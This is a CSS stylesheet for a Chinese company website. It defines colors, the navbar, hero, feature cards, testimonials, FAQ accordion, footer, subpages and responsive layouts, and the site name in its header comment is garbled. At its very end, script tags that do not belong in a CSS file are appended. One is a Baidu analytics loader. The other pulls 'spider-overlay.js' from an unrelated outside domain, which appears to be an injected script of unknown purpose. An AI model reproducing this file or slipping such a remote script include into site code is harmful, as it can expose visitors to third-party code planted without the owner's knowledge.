﻿/* ============================================================
   浜戞暟绉戞妧 (YunShu Tech) - Main Stylesheet
   Type 3 Multi-Page Site | Primary: #4f46e5
   ============================================================ */

/* ----- CSS Custom Properties ----- */
:root {
  --pri: #4f46e5;
  --pri-dark: #4338ca;
  --pri-light: #6366f1;
  --pri-50: #eef2ff;
  --pri-100: #e0e7ff;
  --pri-200: #c7d2fe;
  --bg: #ffffff;
  --bg-alt: #f8fafc;
  --bg-dark: #1e293b;
  --text: #1e293b;
  --text-light: #64748b;
  --text-muted: #94a3b8;
  --border: #e2e8f0;
  --gray-50: #f9fafb;
  --gray-100: #f3f4f6;
  --gray-200: #e5e7eb;
  --gray-300: #d1d5db;
  --gray-400: #9ca3af;
  --gray-500: #6b7280;
  --gray-600: #4b5563;
  --gray-700: #374151;
  --gray-800: #1f2937;
  --gray-900: #111827;
  --shadow-sm: 0 1px 2px rgba(0,0,0,.05);
  --shadow: 0 1px 3px rgba(0,0,0,.1), 0 1px 2px rgba(0,0,0,.06);
  --shadow-md: 0 4px 6px rgba(0,0,0,.07), 0 2px 4px rgba(0,0,0,.06);
  --shadow-lg: 0 10px 15px rgba(0,0,0,.1), 0 4px 6px rgba(0,0,0,.05);
  --shadow-xl: 0 20px 25px rgba(0,0,0,.1), 0 10px 10px rgba(0,0,0,.04);
  --radius: 16px;
  --radius-sm: 8px;
  --radius-lg: 20px;
  --transition: all 0.3s cubic-bezier(.4,0,.2,1);
  --transition-fast: 0.15s cubic-bezier(.4,0,.2,1);
  --max-width: 1200px;
  --font-sans: "PingFang SC", "Microsoft YaHei", "Hiragino Sans GB", "Noto Sans SC", system-ui, -apple-system, sans-serif;
}

/* ----- Reset & Base ----- */
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
html { scroll-behavior: smooth; scroll-padding-top: 80px; }
body {
  font-family: var(--font-sans);
  font-size: 16px;
  line-height: 1.7;
  color: var(--gray-800);
  background: var(--bg);
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  overflow-x: hidden;
}
a { color: inherit; text-decoration: none; }
ul { list-style: none; }
img { max-width: 100%; height: auto; display: block; }
button { cursor: pointer; font-family: inherit; }
input, textarea { font-family: inherit; font-size: inherit; }
h1, h2, h3, h4, h5, h6 { line-height: 1.3; font-weight: 700; }
.container { width: 100%; max-width: var(--max-width); margin: 0 auto; padding: 0 20px; }

/* ----- Buttons ----- */
.btn {
  display: inline-flex; align-items: center; gap: 8px;
  padding: 14px 32px; border-radius: 50px;
  font-size: 15px; font-weight: 700;
  transition: var(--transition);
  letter-spacing: 0.02em;
  cursor: pointer; border: none;
}
.btn-primary {
  background: #fff; color: var(--pri);
  box-shadow: 0 4px 14px rgba(0,0,0,.1);
}
.btn-primary:hover { box-shadow: 0 15px 40px rgba(255,255,255,.25); transform: translateY(-2px); }
.btn-outline {
  background: transparent; color: #fff;
  border: 2px solid rgba(255,255,255,.4);
}
.btn-outline:hover { background: rgba(255,255,255,.1); border-color: #fff; transform: translateY(-2px); }
.btn-white {
  background: #fff; color: var(--pri);
  box-shadow: var(--shadow-md);
}
.btn-white:hover { background: var(--pri-50); transform: translateY(-2px); box-shadow: var(--shadow-lg); }

/* ----- Navbar ----- */
.navbar {
  position: fixed; top: 0; left: 0; right: 0; z-index: 1000;
  padding: 16px 0;
  transition: var(--transition);
  background: transparent;
}
.navbar.scrolled {
  background: rgba(255,255,255,.95);
  backdrop-filter: blur(20px);
  -webkit-backdrop-filter: blur(20px);
  box-shadow: 0 2px 20px rgba(0,0,0,.08);
  padding: 10px 0;
}
.navbar .container { display: flex; align-items: center; justify-content: space-between; }

/* Logo / Brand */
.logo {
  display: flex; align-items: center; gap: 10px;
  font-size: 1.5rem; font-weight: 800;
  color: #fff;
  transition: color var(--transition);
  letter-spacing: 0.03em;
}
.navbar.scrolled .logo { color: var(--gray-800); }
.logo i { font-size: 1.4rem; color: var(--pri-200); }

/* Desktop nav links */
.nav-links { display: flex; align-items: center; gap: 32px; }
.nav-links a {
  color: rgba(255,255,255,.85);
  font-size: 0.9rem; font-weight: 500;
  transition: color var(--transition-fast);
  padding: 6px 0;
  position: relative;
}
.navbar.scrolled .nav-links a { color: var(--gray-600); }
.nav-links a:hover { color: #fff; }
.navbar.scrolled .nav-links a:hover { color: var(--pri); }

/* Active nav underline */
.nav-links a::after {
  content: ''; position: absolute; bottom: 0; left: 0; right: 0;
  height: 2px; background: var(--pri);
  transform: scaleX(0); transition: transform var(--transition);
}
.nav-links a:hover::after, .nav-links a.active::after { transform: scaleX(1); }
.nav-links a.active { color: #fff !important; font-weight: 700; }
.navbar.scrolled .nav-links a.active { color: var(--pri) !important; }

/* Nav CTA pill */
.nav-cta {
  background: #fff !important;
  color: var(--pri) !important;
  padding: 10px 22px !important;
  border-radius: 50px !important;
  font-weight: 600 !important;
  transition: var(--transition) !important;
}
.nav-cta:hover { box-shadow: 0 10px 30px rgba(255,255,255,.3); transform: translateY(-1px); }
.navbar.scrolled .nav-cta { background: var(--pri) !important; color: #fff !important; box-shadow: 0 4px 14px rgba(79,70,229,.35); }
.navbar.scrolled .nav-cta:hover { box-shadow: 0 6px 20px rgba(79,70,229,.5); }

/* Hamburger toggle */
.nav-toggle {
  display: none; background: none; border: none;
  color: #fff; font-size: 1.6rem; cursor: pointer;
  padding: 4px; z-index: 1001;
}
.navbar.scrolled .nav-toggle { color: var(--gray-800); }

/* Mobile menu panel */
.mobile-menu {
  display: none;
  margin-top: 12px; padding: 16px 0;
  flex-direction: column; gap: 0;
  border-top: 1px solid rgba(255,255,255,.15);
}
.mobile-menu.open { display: flex; }
.mobile-menu a {
  display: block; padding: 12px 0;
  color: #fff; font-weight: 500; font-size: 0.95rem;
  transition: color var(--transition-fast);
}
.mobile-menu a:hover { color: var(--pri-200); }
.mobile-menu a.nav-cta {
  margin-top: 8px; text-align: center;
  background: #fff !important; color: var(--pri) !important;
  border-radius: 50px; padding: 10px 0 !important;
}

/* ============================================================
   HERO (Index page only)
   ============================================================ */
.hero {
  position: relative;
  padding: 160px 0 100px;
  background: linear-gradient(160deg, #1e1b4b 0%, var(--pri-dark) 40%, var(--pri) 100%);
  overflow: hidden;
  color: #fff;
}
.hero::before {
  content: '';
  position: absolute; inset: 0;
  background: url('https://images.unsplash.com/photo-1504868584819-f8e8b4b6d7e3?w=600&h=400&fit=crop') center/cover no-repeat;
  opacity: 0.08;
  pointer-events: none;
}
.hero::after {
  content: '';
  position: absolute; inset: 0;
  background:
    radial-gradient(ellipse at 30% 20%, rgba(255,255,255,.06) 0%, transparent 50%),
    radial-gradient(ellipse at 70% 70%, rgba(255,255,255,.04) 0%, transparent 50%);
}
.hero .container {
  position: relative; z-index: 1;
  display: grid; grid-template-columns: 1fr 1fr;
  gap: 60px; align-items: center;
}

/* Hero badge */
.hero .badge {
  display: inline-flex; align-items: center; gap: 8px;
  background: rgba(255,255,255,.12);
  backdrop-filter: blur(10px);
  -webkit-backdrop-filter: blur(10px);
  border: 1px solid rgba(255,255,255,.2);
  padding: 8px 20px; border-radius: 50px;
  font-size: 0.85rem; font-weight: 500;
  margin-bottom: 24px;
}
.hero .badge .dot {
  width: 8px; height: 8px;
  background: #34d399; border-radius: 50%;
  animation: pulse-dot 1.5s ease infinite;
}
@keyframes pulse-dot {
  0%, 100% { opacity: 1; }
  50% { opacity: 0.3; }
}
.hero h1 {
  font-size: clamp(36px, 5vw, 56px);
  font-weight: 900;
  line-height: 1.15;
  margin-bottom: 20px;
  letter-spacing: 0.02em;
}
.hero h1 span { color: var(--pri-200); }
.hero p {
  font-size: 1.1rem;
  color: rgba(255,255,255,.75);
  margin-bottom: 32px;
  max-width: 520px;
  line-height: 1.8;
}
.hero .hero-btns { display: flex; gap: 16px; flex-wrap: wrap; }
.hero-img {
  border-radius: var(--radius);
  overflow: hidden;
  box-shadow: 0 30px 80px rgba(0,0,0,.25);
  border: 2px solid rgba(255,255,255,.1);
  transition: transform var(--transition);
}
.hero-img:hover { transform: translateY(-4px); }
.hero-img img { width: 100%; height: auto; display: block; }

/* ============================================================
   SECTION COMMON
   ============================================================ */
.section { padding: 100px 0; }
.section-header { text-align: center; margin-bottom: 64px; }
.section-tag {
  display: inline-block;
  padding: 6px 18px;
  background: var(--pri-50);
  color: var(--pri);
  border-radius: 50px;
  font-size: 0.8rem; font-weight: 700;
  text-transform: uppercase;
  letter-spacing: 0.05em;
  margin-bottom: 16px;
}
.section-title {
  font-size: clamp(28px, 3.5vw, 42px);
  font-weight: 900;
  color: var(--gray-900);
  margin-bottom: 16px;
}
.section-desc {
  font-size: 1.1rem;
  color: var(--gray-500);
  max-width: 650px; margin: 0 auto;
  line-height: 1.7;
}

/* ============================================================
   FEATURES GRID
   ============================================================ */
.features-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 32px;
}
.feature-card {
  background: #fff;
  border: 1px solid var(--gray-200);
  border-radius: var(--radius);
  padding: 40px 32px;
  transition: var(--transition);
  text-align: center;
  position: relative;
  overflow: hidden;
}
.feature-card::before {
  content: '';
  position: absolute; top: 0; left: 0; right: 0;
  height: 4px;
  background: linear-gradient(90deg, var(--pri), var(--pri-light));
  opacity: 0;
  transition: opacity var(--transition);
}
.feature-card:hover {
  transform: translateY(-8px);
  box-shadow: 0 25px 50px -12px rgba(79,70,229,.15);
  border-color: var(--pri-200);
}
.feature-card:hover::before { opacity: 1; }
.feature-icon {
  width: 64px; height: 64px;
  display: flex; align-items: center; justify-content: center;
  background: var(--pri-50);
  border-radius: 18px;
  margin: 0 auto 24px;
  transition: var(--transition);
}
.feature-card:hover .feature-icon { background: var(--pri); }
.feature-icon i {
  font-size: 1.6rem; color: var(--pri);
  transition: color 0.3s;
}
.feature-card:hover .feature-icon i { color: #fff; }
.feature-card h3 { font-size: 1.2rem; font-weight: 700; margin-bottom: 12px; color: var(--gray-900); }
.feature-card p { font-size: 0.92rem; color: var(--gray-500); line-height: 1.7; }

/* ============================================================
   STATS BAR
   ============================================================ */
.stats-section {
  background: linear-gradient(135deg, var(--pri) 0%, var(--pri-dark) 100%);
  padding: 70px 0;
  color: #fff;
}
.stats-grid {
  display: grid;
  grid-template-columns: repeat(4, 1fr);
  gap: 30px;
  text-align: center;
}
.stat-number {
  font-size: clamp(28px, 3vw, 48px);
  font-weight: 900;
  margin-bottom: 6px;
  letter-spacing: 0.02em;
}
.stat-label { font-size: 0.9rem; opacity: 0.7; font-weight: 500; letter-spacing: 0.03em; }

/* ============================================================
   TESTIMONIALS
   ============================================================ */
.testimonials-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 30px;
}
.testimonial-card {
  background: #fff;
  border: 1px solid var(--gray-200);
  border-radius: var(--radius);
  padding: 32px;
  transition: var(--transition);
}
.testimonial-card:hover { transform: translateY(-5px); box-shadow: var(--shadow-lg); }
.testimonial-stars { color: #f59e0b; margin-bottom: 16px; font-size: 0.9rem; letter-spacing: 2px; }
.testimonial-card blockquote {
  font-size: 0.92rem; color: var(--gray-600);
  line-height: 1.7; margin-bottom: 20px;
  font-style: italic;
}
.testimonial-author {
  display: flex; align-items: center; gap: 12px;
  padding-top: 16px; border-top: 1px solid var(--gray-100);
}
.testimonial-author img {
  width: 44px; height: 44px; border-radius: 50%;
  object-fit: cover;
}
.testimonial-author .name { font-weight: 700; font-size: 0.9rem; color: var(--gray-800); }
.testimonial-author .role { font-size: 0.78rem; color: var(--gray-400); }

/* ============================================================
   FAQ ACCORDION
   ============================================================ */
.faq-section { background: var(--gray-50); }
.faq-list { max-width: 750px; margin: 0 auto; }
.faq-item {
  background: #fff;
  border: 1px solid var(--gray-200);
  border-radius: var(--radius);
  margin-bottom: 12px;
  overflow: hidden;
  transition: var(--transition);
}
.faq-item.active { box-shadow: 0 4px 20px rgba(0,0,0,.05); border-color: var(--pri-200); }
.faq-question {
  width: 100%;
  display: flex; justify-content: space-between; align-items: center;
  padding: 20px 28px;
  background: none; border: none;
  font-size: 1.05rem; font-weight: 600;
  color: var(--gray-800);
  cursor: pointer; text-align: left;
  gap: 16px;
  transition: color var(--transition-fast);
}
.faq-question:hover { color: var(--pri); }
.faq-question i {
  color: var(--pri);
  transition: transform var(--transition);
  flex-shrink: 0;
}
.faq-item.active .faq-question i { transform: rotate(180deg); }
.faq-answer {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s ease;
}
.faq-item.active .faq-answer { max-height: 400px; }
.faq-answer p {
  padding: 0 28px 24px;
  color: var(--gray-500);
  line-height: 1.7;
  font-size: 0.95rem;
}

/* ============================================================
   CTA SECTION
   ============================================================ */
.cta-section {
  position: relative;
  padding: 100px 0;
  background: linear-gradient(135deg, var(--pri-dark) 0%, var(--pri) 100%);
  overflow: hidden;
  text-align: center;
  color: #fff;
}
.cta-section::before {
  content: '';
  position: absolute; inset: 0;
  background: radial-gradient(circle at 50% 50%, rgba(255,255,255,.05) 0%, transparent 70%);
}
.cta-section .container { position: relative; z-index: 1; }
.cta-section h2 { font-size: clamp(28px, 4vw, 48px); font-weight: 900; margin-bottom: 16px; }
.cta-section p { font-size: 1.15rem; opacity: 0.8; max-width: 600px; margin: 0 auto 36px; line-height: 1.7; }
.cta-section .btn-primary { background: #fff; color: var(--pri); }
.cta-section .btn-outline { border-color: rgba(255,255,255,.5); color: #fff; }

/* ============================================================
   FOOTER
   ============================================================ */
.footer {
  background: var(--gray-900);
  color: #fff;
  padding: 80px 0 30px;
}
.footer-grid {
  display: grid;
  grid-template-columns: 2fr 1fr 1fr 1fr;
  gap: 40px;
  margin-bottom: 50px;
}
.footer-brand p {
  color: var(--gray-400);
  font-size: 0.9rem;
  line-height: 1.7;
  margin-top: 16px;
  max-width: 280px;
}
.footer h4 { font-size: 1rem; font-weight: 700; margin-bottom: 20px; letter-spacing: 0.03em; }
.footer ul { list-style: none; }
.footer ul li { margin-bottom: 10px; }
.footer ul a {
  color: var(--gray-400);
  font-size: 0.88rem;
  transition: color var(--transition-fast);
}
.footer ul a:hover { color: #fff; }
.footer-bottom {
  border-top: 1px solid rgba(255,255,255,.1);
  padding-top: 24px;
  display: flex; justify-content: space-between; align-items: center;
  flex-wrap: wrap; gap: 16px;
  font-size: 0.85rem; color: var(--gray-500);
}
.footer-bottom a { color: var(--gray-500); transition: color var(--transition-fast); }
.footer-bottom a:hover { color: #fff; }

/* ============================================================
   SUB-PAGE: Page Header
   ============================================================ */
.page-header {
  position: relative;
  padding: 150px 0 80px;
  background: linear-gradient(160deg, #1e1b4b 0%, var(--pri-dark) 40%, var(--pri) 100%);
  color: #fff;
  text-align: center;
  overflow: hidden;
}
.page-header::before {
  content: '';
  position: absolute; inset: 0;
  background: radial-gradient(circle at 50% 50%, rgba(255,255,255,.06) 0%, transparent 60%);
}
.page-header .container { position: relative; z-index: 1; }
.page-header h1 { font-size: clamp(32px, 4vw, 48px); font-weight: 900; margin-bottom: 12px; }
.page-header p { font-size: 1.05rem; opacity: 0.75; margin-top: 12px; max-width: 560px; margin-left: auto; margin-right: auto; }

/* ============================================================
   SUB-PAGE: About
   ============================================================ */
.about-content {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 60px;
  align-items: center;
}
.about-content h2 { font-size: 2rem; font-weight: 800; margin-bottom: 16px; color: var(--gray-900); }
.about-content p { color: var(--gray-500); line-height: 1.8; margin-bottom: 16px; font-size: 0.95rem; }
.about-content img {
  border-radius: var(--radius);
  box-shadow: var(--shadow-lg);
  width: 100%;
}

/* ============================================================
   SUB-PAGE: Services
   ============================================================ */
.services-list {
  display: grid;
  grid-template-columns: repeat(2, 1fr);
  gap: 24px;
}
.service-item {
  background: #fff;
  border: 1px solid var(--gray-200);
  border-radius: var(--radius);
  padding: 28px;
  display: flex; gap: 20px;
  align-items: flex-start;
  transition: var(--transition);
}
.service-item:hover { box-shadow: var(--shadow-lg); border-color: var(--pri-200); transform: translateY(-3px); }
.service-item i {
  font-size: 1.8rem; color: var(--pri);
  flex-shrink: 0; margin-top: 4px;
  transition: color var(--transition);
}
.service-item:hover i { color: var(--pri-dark); }
.service-item h3 { font-weight: 700; margin-bottom: 6px; font-size: 1.1rem; }
.service-item p { color: var(--gray-500); font-size: 0.9rem; line-height: 1.6; }

/* ============================================================
   SUB-PAGE: Contact
   ============================================================ */
.contact-grid {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 60px;
}
.contact-info h2 { font-size: 2rem; font-weight: 800; margin-bottom: 12px; }
.contact-info > p { color: var(--gray-500); line-height: 1.7; margin-bottom: 24px; font-size: 0.95rem; }
.contact-detail {
  display: flex; align-items: flex-start; gap: 14px;
  margin-bottom: 18px; font-size: 0.95rem;
  padding: 4px 0;
}
.contact-detail i {
  width: 44px; height: 44px;
  background: var(--pri-50);
  border-radius: 12px;
  display: flex; align-items: center; justify-content: center;
  color: var(--pri);
  font-size: 1.1rem;
  flex-shrink: 0;
}
.contact-detail strong { display: block; margin-bottom: 2px; }
.contact-form input,
.contact-form textarea {
  width: 100%;
  padding: 14px 18px;
  border: 1px solid var(--gray-200);
  border-radius: 12px;
  font-size: 0.95rem;
  margin-bottom: 16px;
  font-family: inherit;
  transition: border-color 0.2s, box-shadow 0.2s;
  background: var(--gray-50);
}
.contact-form input:focus,
.contact-form textarea:focus {
  outline: none;
  border-color: var(--pri);
  box-shadow: 0 0 0 3px var(--pri-100);
  background: #fff;
}
.contact-form textarea { resize: vertical; min-height: 140px; }
.contact-form button { width: 100%; }

/* ============================================================
   RESPONSIVE
   ============================================================ */
@media (max-width: 1024px) {
  .hero .container { grid-template-columns: 1fr; text-align: center; }
  .hero p { margin-left: auto; margin-right: auto; }
  .hero .hero-btns { justify-content: center; }
  .hero-img { max-width: 500px; margin: 0 auto; }
  .features-grid { grid-template-columns: repeat(2, 1fr); }
  .footer-grid { grid-template-columns: 1fr 1fr; }
  .about-content { grid-template-columns: 1fr; }
  .about-content img { max-width: 500px; margin: 0 auto; }
}

@media (max-width: 768px) {
  .section { padding: 60px 0; }
  .section-header { margin-bottom: 40px; }
  .features-grid { grid-template-columns: 1fr; }
  .testimonials-grid { grid-template-columns: 1fr; }
  .stats-grid { grid-template-columns: repeat(2, 1fr); gap: 24px; }
  .services-list { grid-template-columns: 1fr; }
  .contact-grid { grid-template-columns: 1fr; gap: 40px; }
  .footer-grid { grid-template-columns: 1fr 1fr; }

  /* Mobile nav */
  .nav-links { display: none; }
  .nav-toggle { display: block; }

  /* Hero mobile */
  .hero { padding: 130px 0 80px; }
  .hero .container { grid-template-columns: 1fr; text-align: center; }
  .hero p { margin-left: auto; margin-right: auto; }
  .hero .hero-btns { justify-content: center; }
  .hero-img { display: none; }

  .about-content { grid-template-columns: 1fr; }
  .about-content img { max-width: 100%; margin: 20px 0; }
}

@media (max-width: 480px) {
  .hero h1 { font-size: 28px; }
  .hero p { font-size: 0.95rem; }
  .hero .hero-btns { flex-direction: column; align-items: center; }
  .hero .hero-btns .btn { width: 100%; justify-content: center; }
  .stats-grid { grid-template-columns: 1fr; }
  .footer-grid { grid-template-columns: 1fr; gap: 28px; }
  .footer-bottom { flex-direction: column; text-align: center; }
  .contact-form { padding: 0; }
  .cta-section { padding: 64px 0; }
  .page-header { padding: 120px 0 60px; }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

